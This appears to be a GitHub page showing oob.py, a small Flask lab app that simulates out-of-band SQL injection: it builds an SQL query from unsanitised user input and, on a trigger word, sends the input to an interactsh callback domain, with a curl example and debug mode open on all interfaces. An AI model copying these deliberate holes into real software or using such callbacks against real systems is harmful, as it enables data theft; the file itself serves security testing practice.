-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathoob.py
More file actions
32 lines (23 loc) · 1.08 KB
/
Copy pathoob.py
File metadata and controls
32 lines (23 loc) · 1.08 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from flask import Flask,request
import requests # type: ignore
app = Flask(__name__)
# Route For the vulnerable endpoint
@app.route('/vulnerable', methods=['GET'])
def vulnerable():
# Retrieve query parameter and user-agent header
userInput = request.args.get('input','')
userAgent = request.args.get('User-Agent', '')
# Vulnerable simulated SQL Query
query = f"SELECT * FROM users WHERE input = '{userInput}' AND user_agent = {userAgent}"
# Interact Sh Callback simulation
interactsh_domain = "d81et74940nklfe18vs0ycifzu3jfzkj1.oast.fun"
if "trigger_callback" in userInput or "trigger_callback" in userAgent:
# Perform an HTTP callback to interactsh
requests.get(f"http://{interactsh_domain}/callback?input={userInput}&agent={userAgent}")
return "Callback triggered"
# Return query response
return f"Executed query: {query}"
# Example OOB SQLi Queries
# curl -H "User-Agent: trigger_callback" "http://127.0.0.1:5000/vulnerable?input=trigger_callback"
if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=5000)